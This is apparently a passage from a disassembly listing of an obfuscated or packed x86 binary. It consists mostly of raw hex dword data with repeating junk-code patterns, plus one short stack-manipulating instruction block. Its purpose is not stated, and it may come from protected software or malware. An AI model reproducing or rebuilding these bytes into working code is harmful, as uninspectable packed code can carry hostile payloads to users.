		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0BBB4C351h, 7BE9D767h,	1E059589h
		dd 95FF06A8h, 6A80741h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0CDC35040h, 9F6A0612h, 0A1BD2B61h, 0F06A833h
		dd 0F61FBBFh, 38Eh, 0FFBF0F00h,	0BBD85C7h, 306A8h, 0BF0F0000h
		dd 19B529F9h, 8306A825h, 0ABA227BDh, 840F0006h,	47h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0CFC35141h, 559589ADh
		dd 0E906A831h, 3Ah, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0C7C35646h, 501C15EAh, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0D3DB53C3h
		dd 73F2EE04h, 96D9EA8h,	0A80565B5h, 299D8B06h, 8306A81Fh
		dd 0A80BBDBDh, 850F0306h, 3DFh,	2E8D9D89h, 0BD8306A8h
		dd 6ABA227h, 0CC840F00h, 8B000003h, 27B5FFDAh, 0E806ABA2h
		dd 14h,	29A97E51h, 54A47BC1h, 7E316BAEh, 44386589h, 0A0690E54h
		dd 5FFBBF0Fh, 0BECF8166h, 0F995FF90h, 6A06A815h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 24C1C353h, 6EECD13Bh, 8BFE8AF4h, 0ABA21BB5h,	6820F06h
		dd 0F000000h, 82h, 106C700h, 0B000100h,	0A831759Dh, 840F5006h
		dd 14h,	0FE9h, 7036FD00h, 58C95355h, 4D7893E7h,	0B590EA08h
		dd 6A243489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0EDDBC353h, 0E301FB96h, 0E78082CDh
		dd 27B5FFE0h, 6A06ABA2h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 9C0CC356h, 0DBB70F9Ah
		dd 219995FFh, 8BF506A8h, 0ABA21BB5h, 8E906h, 0C7BC0000h
		dd 45F3EF73h, 858BBEBDh, 6A80E41h, 8689D88Ah, 0C4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0DEC35747h, 6850F5Dh
		dd 8B000000h, 0A80E09BDh, 0C59D8B06h, 8B06A80Ah, 0A805B995h
		dd 59BD8906h, 8B06A834h, 0A80CE19Dh, 4C28306h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 60C35040h, 8490737Ah
		dd 8918E287h, 0A816F9BDh, 20508906h, 97EC3ABBh,	0CE858D11h
		dd 6A06ABB7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 630CC351h, 0BD8B3D78h,	6A81011h
		dd 0B88689h, 0E9600000h, 0Fh, 1268D8DBh, 0E3FEEDD3h, 39752260h
		dd 0B7EA383h, 0A82B7595h, 6A6106h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0FC35747h, 8F7E3FC4h, 5E9006Bh
		dd 0BE000000h, 328EF141h, 2595BD2Bh, 0B5FF06A8h, 6ABA227h
		dd 3305F1BFh, 1D95FF75h, 6A06A81Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 7DCDC356h
		dd 817612DDh, 2DC792E3h, 880F502Fh, 11h, 9E851h, 22870000h
		dd 0EF47EA2h, 5F4F4DC9h, 2434895Fh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 96C35040h, 0E78160BFh, 2CA56837h
		dd 61DBC780h, 0A227B5FFh, 6A06ABh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 9C219EC3h, 78D7A199h
		dd 0F380C201h, 0FBB70F43h, 2A6995FFh, 8B0F06A8h, 5, 5AE321BFh
		dd 3DBD8307h, 6A82Eh, 49840Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 475E9BC3h
		dd 50DEB396h, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 9412FB49h, 407C46A7h, 0FFF8BF0Fh
		dd 0ABA227B5h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 5DC9FE13h, 0ADBCE135h
		dd 0DF816653h, 665B50B6h, 95FFDE8Bh, 6A83185h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B2C35343h, 32619D8Bh
		dd 0B5FF06A8h, 6ABA227h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0A0C35141h, 0A571E824h, 95FF25F9h, 6A80F55h
		dd 0BD838DB7h, 6A8077Dh, 19840F02h, 1000000h, 0A8021DB5h
		dd 19858B06h, 6606A80Dh, 0C64400BBh, 9D230000h,	6A81D9Dh
		dd 0DC185C7h, 6A8h, 81660000h, 0E9CC5EF7h, 0FFFFF49Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0DFC35040h
		dd 0AE8h, 0CA02D800h, 8B1336DEh, 0E934AC90h, 0Ch, 3B6628BDh
		dd 0F6BA74FBh, 44BE2D0Dh, 6AC18B5Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 7ADCC350h
		dd 161DBD8Bh, 958906A8h, 6A80D39h, 3385858Dh, 5F5306A8h
		dd 0DE8B90FCh, 905B5250h, 0D678E781h, 6A4FA1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0A6C35343h, 0B6DB80A3h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 9EDCD7C3h, 8BF27F79h, 0A806ADBDh,	96858D06h
		dd 6606ACB6h, 9AB8E781h, 6A05C083h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 7C14C355h
		dd 813EA10Eh, 90D88B66h
		db 2 dup(50h)
word_594F42	dw 5052h		; DATA XREF: ___:off_438C78o
		dd 0FFB8B52h, 14E831h, 0AAD0000h, 3361C469h, 0F4C4B6E8h
		dd 92EEE48Ch, 97FACF18h, 5A5B1222h, 66310F58h, 585AFB8Bh
		dd 3880F90h, 0F000000h,	6AFBB7h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 14h, 96C35646h, 6A006Ah,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 7E8AC3C3h, 4195FF2Ch, 6A06A825h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 7E0C355h
		dd 8A8BBDC0h, 7F8D8DF9h, 6A06AB8Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0E605C356h
		dd 88B34B6Ch, 515EB253h, 0CC9B589h, 0FF5F06A8h,	0CE9D1h
		dd 61FF0000h, 6429B214h, 0DC8BEFFBh, 0BD833A72h, 6A8339Dh
		dd 74850F01h, 0F000000h, 387h, 0F98B6600h, 8F0F026Ah, 6
		dd 1D59B529h, 8B5006A8h, 240489FBh, 0A59D8960h,	8B06A806h
		dd 95FF61F0h, 6A81E1Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0B7C35040h, 0D77DCF91h, 9D896024h, 6A822D9h
		dd 12E8h, 84CFA200h, 295026E4h,	297440AAh, 0C9C318E6h
		dd 5FCDFCE8h, 6D958961h, 0E906A820h, 0D91h, 0E8h, 0ED815D00h
		dd 6ACB6A0h, 34BD9D8Bh,	0B50106A8h, 6A82C65h, 890Fh, 858D0000h
		dd 6AB7E2Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0A4C35545h, 0C3B2F629h,	0E781346Bh, 38DF6B8Ch
		dd 19870F50h, 0E9000000h, 14h, 529DACC7h, 0BAD1411Eh, 0C62632A1h
		dd 0AB1533FCh, 0FDA791DFh, 6A240489h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 50E7C357h
		dd 0FF6430A0h, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0E0F38045h, 1DAD9D01h
		dd 896406A8h, 25h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 8D726135h, 0BE96FA2h
		dd 32000000h, 35C98645h, 3E859BB5h, 9D89AB1Dh, 6A80B61h
		dd 1B65BD8Bh, 85FF06A8h, 6A833F1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 54C35747h, 0BBFFB753h, 6DD035C7h
		dd 6660FF6Ah, 80FED181h, 6E8h, 0BCCE8B00h, 50847790h, 0FF61595Ah
		dd 0A8298DB5h, 0DE906h,	3B660000h, 0F6BA74FBh, 44BE2D0Dh
		dd 662AFE02h, 0FF1705BBh, 0A82A7D95h, 11CE906h,	81660000h
		dd 0B07A5FF3h, 14BF6600h, 0E470E65Eh, 0F8B70F71h, 830F613Ch
		dd 102h, 15BDBD89h, 0B60F06A8h,	0AE960C8h, 12000000h, 50B68C3Eh
		dd 0AC38319h, 10E92Fh, 6F3F0000h, 0E8AF35Eh, 13852E07h
		dd 6D3FC9C0h, 0BA6157C1h, 6, 2D199D8Bh,	0C18B06A8h, 0AA5BD8Bh
		dd 0E8C106A8h, 0D88B5704h, 0E2F7665Fh, 10D1B589h, 0C82B06A8h
		dd 6860Fh, 0BD290000h, 6A80C45h, 8D89D18Bh, 6A80049h, 95E9h
		dd 0C1BD8900h, 8B06A806h, 885h,	0DBBF0F00h, 6007C083h
		dd 0FB8BF18Bh, 83FA8A61h, 8B6000C0h, 0A820EDBDh, 5F576006h
		dd 2261BD2Bh, 616106A8h, 830FD03Bh, 1Dh, 59E9h,	0FE800h
		dd 0A2640000h, 0A6A2FAE0h, 7B07D1A4h, 332C16B2h, 8B665BC5h
		dd 0FF8D8BD8h, 52FFFFFFh, 0ED9D8960h, 6106A820h, 819D8B5Fh
		dd 8306A815h, 840F01E1h, 22h, 0FFA583FCh, 0FEFFFFFFh, 89589h
		dd 0AE90000h, 8C000000h, 3124C717h, 4AC833C1h, 0E95Eh
		dd 0B58D0000h, 6AC3224h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 43C35141h, 81512032h,	67EE1DE3h, 6A5B7Bh
		dd 11E8h, 0E4403A00h, 0E0957F52h, 9EF83CB7h, 0ADF3B73Dh
		dd 840F6186h, 6, 22859D8Bh, 0FF5B06A8h,	0A81B3195h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0BAC7CDC6h, 8D62A347h, 8A0FC612h, 0Ah, 850F60h, 53000000h
		dd 0EAB9615Eh, 8100000Fh, 0E13430F3h, 0FCE1830Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 5CC35646h, 5809CDC8h
		dd 0C004DD27h, 10E9F890h, 95000000h, 52C38BD4h,	2D03C2F4h
		dd 0B14E6724h, 0BB22B134h, 71161692h, 55006AFCh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0B02CED69h, 0C02B01D2h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 5C35141h, 599589C7h, 0BA06A820h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 10C35242h
		dd 0BA59B95h, 89BD89CDh, 0AD06A833h, 0E8D1C233h, 0E983D003h
		dd 81F47504h, 0BC9C3C7h, 55006A30h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0A54284ADh, 53946ECCh
		dd 8D89101Eh, 6A80C75h,	5BFA8B57h, 880Dh, 0F9B70F00h, 5B9958Bh
		dd 60F806A8h, 18019D8Bh, 8B6106A8h, 0A814698Dh,	0B9B58906h
		dd 5006A807h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 7BF3BB58h, 810F558Fh, 3, 83F98B66h, 0A80C91BDh, 840F0006h
		dd 78h,	0C2C32FBFh, 0B83Bh, 0B70F0000h,	0AF8D8DDAh, 6A06A84Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0CA6DC351h, 4DF3819Fh, 0BF6143AAh, 7C39CB09h
		dd 6AE1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 610B39C3h, 0BB8444E8h, 65B58926h,	5106A80Eh
		dd 68F0Fh, 0BD890000h, 6A807F1h, 0D88B665Fh, 0BBDBD83h
		dd 0F0006A8h, 42684h, 4BBB6600h, 0BDBD835Fh, 106A80Bh
		dd 430840Fh, 0E7810000h, 5DB4643h, 0BBDBD83h, 0F0306A8h
		dd 3E786h, 0D59D2300h, 0E906A81Bh, 12h,	6C935B82h, 66549C06h
		dd 0BC75B7AFh, 1EADBB61h, 6A604B8Ah, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0C92FC351h
		dd 74FCA19Ch, 3A7344B5h, 1DDD9589h, 8C6606A8h, 53006AD9h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0EAAF0324h, 4E180F8h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0D9C35343h, 0EDE1140Eh, 0C90AE474h, 14F840Fh
		dd 8B660000h, 0E1858BFAh, 106A80Bh, 0A820D1B5h,	5D853306h
		dd 0F06A81Dh, 5750FFB7h, 895FD98Bh, 880F2404h, 9, 38C0Fh
		dd 8B660000h, 6A006AF9h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0A886C357h,	0E9DD4E9Bh
		dd 13h,	12F4A230h, 0A17F9C7h, 0C9583EBh, 0E9B96805h, 606C55BBh
		dd 7298D8Bh, 0E86106A8h, 4, 1F03FFh, 6050FA8Bh,	0F525050h
		dd 5A585A31h, 8B61C38Bh, 52042444h, 0AE9h, 6C76A900h, 0C22C17FBh
		dd 5B37D00Bh, 0BB66008Bh, 4489BF81h, 0E8500424h, 0Fh, 60A5AE26h
		dd 0A237BD94h, 9C39C401h, 8A5B83F1h, 585B5FD9h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FDC35646h, 4195FFB3h
		dd 6006A807h, 0A59D8B60h, 6106A82Fh, 8E9h, 1FFB3400h, 0EC0373BBh
		dd 85896120h, 6A801C9h,	0A2278589h, 6A06ABh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0A58629C3h
		dd 19AE9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0CDADD806h, 2B4C1A1Ch, 1F858B66h
		dd 8106ABA2h, 0FD719FE7h, 1800C715h, 0E8000000h, 0Bh, 0BE276309h
		dd 212EAB9Eh, 8B17038Ch, 0A81A599Dh, 0B58B5B06h, 6ABA223h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EC35747h
		dd 0D91067E6h, 8BA8CF96h, 0A82B7D85h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 0F6781626h, 89E66C73h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8B5785AAh
		dd 0A80BE185h, 4468906h, 16820Fh, 0E9520000h, 0Fh, 323F68DBh
		dd 55524A64h, 0ADF0FC3Dh, 5B8E03B5h, 6A965096h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0D933C350h, 2612AD67h, 1FB5FFA6h, 6A06ABA2h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 91B4C351h, 2BFC5EAEh, 0A80C0D9Dh, 298D0906h,	6806A822h
		dd 0C05963C1h, 481D88Ah, 0C5A03E24h, 0D381663Fh, 858D62B5h
		dd 6ABA227h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	93C35040h, 5FBF5090h, 5F3869CFh, 5FB66050h, 61C78B66h
		dd 0DA8B6690h, 0FFD88B66h, 0A8074195h, 0BD016006h, 6A80B89h
		dd 2DD9858Bh, 616106A8h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 0EC35242h, 4D13A069h,	0BBD85C7h, 306A8h
		dd 830F0000h, 5, 0F3C78166h, 27BD83D8h,	6ABA2h,	46840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 8D8942C3h, 6A833EDh, 3AE9h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0D6FF261Dh, 110C3050h, 1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 8D20C355h, 0B6B75AD8h
		dd 0BD8BD259h, 6A82DB5h, 5C19D03h, 83F806A8h, 0A80BBDBDh
		dd 850F0306h, 3FEh, 25AD8D89h, 816606A8h, 839FB8D7h, 0ABA227BDh
		dd 840F0006h, 3E6h, 1A3DBD03h, 0B5FF06A8h, 6ABA227h, 95FFD98Ah
		dd 6A815F9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	2C35747h, 1FE3CBCDh, 0BE7388D3h, 94BB66B2h, 1BB58B80h
		dd 0F06ABA2h, 8Fh, 106C700h, 6A000100h,	3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0D696C352h
		dd 0BD8BF9A6h, 6A8212Dh, 50D88B96h, 6A96DA8Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 4706C357h, 744FB07Fh, 8CA8019Eh, 141DBD8Bh, 0B5FF06A8h
		dd 6ABA227h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0ACC35141h, 0D3CB5DAFh,	0BBB56AB4h, 33CB6A8Ah
		dd 0DE9h, 0AB680700h, 9B221680h, 98E17958h, 95FF0C26h
		dd 6A82199h, 8BA6C380h,	0ABA21BB5h, 3860F06h, 0F000000h
		dd 0BD0BFBBFh, 6A82761h, 0E41858Bh, 868906A8h, 0C4h, 1058CB81h
		dd 958B6CD2h, 6A805B9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 6EC35747h, 0BD8BC322h, 6A83389h, 6A04C283h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 1AD5C355h, 618D892Bh, 8906A80Bh, 81662050h
		dd 8D2969F7h, 0ABB7CE85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0F5F6D2AFh
		dd 8689F986h, 0B8h, 6AFBBF0Fh, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0B3ED9D09h
		dd 27B5FF3Bh, 6A06ABA2h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 26D7C353h, 1AC59D23h
		dd 5E906A8h, 81000000h,	853D7404h, 1E1D95FFh, 6A06A8h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 66300DC3h, 0BF0FFE8Bh, 0BE996FEh,	77000000h
		dd 6F17049Ah, 5348BBC6h, 8B503772h, 86BB96DAh, 0FF14DAE6h
		dd 0ABA227B5h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 852A6553h, 8B667CD7h
		dd 6995FFDAh, 8B06A82Ah, 0A80F59BDh, 3DBD8306h,	6A82Eh
		dd 59840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 160424h, 56460000h, 21FA29C3h, 0F1FCB960h, 0B5896B77h
		dd 6A81E65h, 50FE8B61h,	6A243489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 8F5EC351h
		dd 1BC7544Bh, 8166CD59h, 0FF2F74DFh, 0ABA227B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 9E887h, 2C6E0000h, 0E891062Bh, 816E0254h, 0C8431BF7h
		dd 8B665B22h, 8595FFF9h, 8906A831h, 0A82671BDh,	27B5FF06h
		dd 6A06ABA2h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 6E90C350h, 0A2BB90D0h,	0C14C389Dh
		dd 21159D2Bh, 95FF06A8h, 6A80F55h, 83DBB70Fh, 0A8077DBDh
		dd 840F0206h, 6Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 79C35646h, 9D822777h,	0D6715B58h, 8BDBB70Fh
		dd 0A80D1985h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0D3A5B3D6h, 0CE8E8AEh
		dd 0A1000000h, 31A6A9A5h, 0A77BBAD3h, 89C1FDB7h, 0A81E798Dh
		dd 0C65B06h, 6D950900h,	0C706A82Fh, 0A80DC185h,	6, 8E900h
		dd 0B54E0000h, 0A9CE6E66h, 0A5E9BA19h, 89FFFFF3h, 0A81B5DBDh
		dd 89C18B06h, 0A82FA59Dh, 20E906h, 0A09B0000h, 4A7Bh, 6	dup(0)
		dd 0B7E90000h, 0A9000004h, 0E043C78Eh, 0FB0F6B3h, 399A2069h
		dd 69CA5015h, 0BA0185C8h, 377A1BF7h, 632E50F3h,	91D87C27h
		dd 0C28BAA15h, 0C07AE044h, 0B6049AC8h, 0BAD77CBAh, 0D6AEEA1Ch
		dd 0BB94AF57h, 3E632A4Ah, 41E44BEDh, 59FAAB08h,	0E2D9614h
		dd 3529A347h, 1B302597h, 766F2A47h, 0BDE04122h,	15B3AFF4h
		dd 0D25D5DEFh, 0C27AF58h, 58D1C6C2h, 593BCAFh, 73B0F59Ah
		dd 838A2B80h, 0B21DA9E0h, 0E44FDB92h, 20ED8140h, 0D05D3673h
		dd 9238EEC7h, 58D23068h, 0FF3912AFh, 36F3930Ch,	37739515h
		dd 0DAF58D2h, 3BE44922h, 817A5316h, 2FF0DD1Ch, 0F94D0428h
		dd 317E3756h, 58D1EE29h, 0D65F5CAFh, 0DF2DE8C4h, 4F0F12h
		dd 0FF100000h, 4E88155Ch, 0AF57D748h, 7E7C25B2h, 12DFD682h
		dd 165h, 52FFBE00h, 76EF08F6h, 0A49DA7FEh, 0CC89A67Fh
		dd 2B5DFB67h, 0AF5844EFh, 713E7AD5h, 0B81B98DDh, 783D51B2h
		dd 0D3DA5B30h, 8DCFFBBEh, 0DD6E8FF0h, 563C7CAAh, 83074EEDh
		dd 135EFFA4h, 3D78158Eh, 1B8431F0h, 0E83E7314h,	0C06D2447h
		dd 54F8395Fh, 6D158FCh,	524BD2ACh, 0FF543479h, 90B82436h
		dd 91DF12DFh, 60000000h, 0F7135EFFh, 0F523660Ch, 0A2EB8D16h
		dd 7C25967Dh, 0E3AECF30h, 64CB6DBEh, 0D2388EC3h, 9E1A53F1h
		dd 0F03D7011h, 43E3CC6Ah, 0D6C4C40Eh, 95BEAF57h, 0B3F69C03h
		dd 80218A6Eh, 0DFD47672h, 899112h, 0FFAA0000h, 0B4FD9B5Eh
		dd 5149F36Fh, 33AF57D7h, 0E9362F18h, 75B5D77Dh,	4FAF57D7h
		dd 8484C6E4h, 7EAF57D7h, 0B8DC43D5h, 0D78E8A3Ch, 4F7CAF57h
		dd 26930FE7h, 0BAA022h,	0AF58C708h, 8F7851FAh, 9C056E22h
		dd 5258F495h, 522300D6h, 664DD9B2h, 723B59BAh, 0E68BFC2Dh
		dd 8B2D7EA3h, 0E54A0F24h, 57D72265h, 0AAE381AFh, 0B2F5F505h
		dd 9DB7FE65h, 0E340092Ch, 0E7EEB71Ch, 88A10E4Bh, 4FD0C79Fh
		dd 0DF885743h, 1B612h, 0FF890000h, 0BBF69859h, 40F4C476h
		dd 0B7332862h, 0B7C1E5DEh, 0C600BA2Eh, 0AF5832C2h, 35F9780h
		dd 0A50692BEh, 931059FCh, 0F2BE674Ch, 0F73C7111h, 0E3400D2Eh
		dd 0C370D1CAh, 0A8001986h, 92286107h, 8A308B29h, 3BD970h
		dd 2380ABB6h, 1CAAE382h, 54D990B3h, 3C9492h, 2A8BE0B6h
		dd 0FD490023h, 357A3352h, 2380C96Ch, 676E379Ch,	9D398DC4h
		dd 1477B3A1h, 10744h, 0B5E7DF00h, 23AED80Eh, 0E1B60007h
		dd 1538E936h, 2FBBED4h,	31781B84h, 591033ECh, 0B3B02BADh
		dd 66C9D7AEh, 65CE5132h, 0DF96B5BCh, 9BF7E34Bh,	3C161477h
		dd 0E8000000h, 8A2E6B07h, 0BB6E7A1h, 0D74DADDFh, 1C372F57h
		dd 0D7535797h, 0EE452F57h, 0C2F52645h, 0DE7AEBA2h, 38110A97h
		dd 0D7207882h, 84E2AF57h, 57D74642h, 3A133CAFh,	9663ECh
		dd 0E7460000h, 0AED80EB5h, 0B6000ACFh, 387D12B5h, 9B04E24Fh
		dd 0DB73B0F9h, 1420A232h, 6ECAA38Fh, 5FEBA2C1h,	9B1851F4h
		dd 5F5253h, 6C35BEB6h, 86EC665h, 62327647h, 0E952E8C1h
		dd 0B0CAF04Bh, 0BCAD4FA5h, 0B66FB49Fh, 0D051DE97h, 0E9BAE7A2h
		dd 0B207E34Bh, 398D9A77h, 0F857E340h, 0BC19B837h, 1A40F4F3h
		dd 9ACBB58Bh, 0DE97B198h, 0B0DE0CE5h, 8FDBB326h, 0AD123D7Dh
		dd 0D22C07BCh, 47D17A42h, 5A37B681h, 7A38CC3h, 1D3BF69Ch
		dd 0E5DECF54h, 841E7B8h, 1433991Fh, 0D80EB5E7h,	49B97AEh
		dd 24C26DB6h, 4DD297BBh, 0B66FDC5Ch, 0E748DE97h, 0A6A00D44h
		dd 2DC054Bh, 2930F16Ah,	5CC7430Ah, 0F0BBD39h, 0F502DC05h
		dd 263C615Ah, 53D09DBDh, 3D51DE5Ah, 0CB6A3B78h,	49226B0Ah
		dd 541D3BE4h, 7132B9CFh, 2DF6DFE2h, 0F84E0726h,	307D3457h
		dd 863FA02Ah, 3EEEC3Fh,	0E6322B6Eh, 0F19h, 59BA3C00h, 227B733Ah
		dd 9AE65066h, 48332375h, 8C1158FFh, 0F4397013h,	0E340092Bh
		dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh,	60CD84A4h
		dd 4AD792BFh, 4EC83FAh,	51241489h, 0C181E189h, 4, 4E981h
		dd 0C870000h, 0C895C24h, 0E3895324h, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 52243489h, 790F6DBAh, 3BF2814Bh, 894DD5CBh
		dd 24148BD1h, 4C481h, 0DF680000h, 89000003h, 4812424h
		dd 424h, 89535E00h, 85E89CBh, 81241C8Bh, 4C4h, 24348B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		dd 5037AB0Dh, 689A5350h, 7CB836C4h, 306ACC8h, 3FE0FFC5h
		dd 19161727h, 0C072A38Fh, 9F313024h, 675D50E6h,	837A87D1h
		dd 3160FD8Dh, 0E6797DD3h, 901AE7CAh, 715B59BBh,	7D4C3998h
		dd 191F1E91h, 361CD489h, 0F44A4CD2h, 0C66F85EFh, 227AA053h
		dd 0EB56AAE9h, 0DB096CB4h, 0B5CEBC1h, 0EB4E9EE1h, 22298491h
		dd 1E797C38h, 51607041h, 0CF7A7482h, 8D366943h,	0A8338585h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 230FE68h, 0CA3677B2h, 5752508Ah,	5B5B5F50h
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0E937C357h, 7,	0B9A3F4F9h, 6AEED422h
		dd 6A006A00h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 70C9C357h, 11350D0Eh, 5A1BD09h
		dd 858D06A8h, 6ACCBDFh,	0E856006Ah, 3, 5EC35E20h, 4247489h
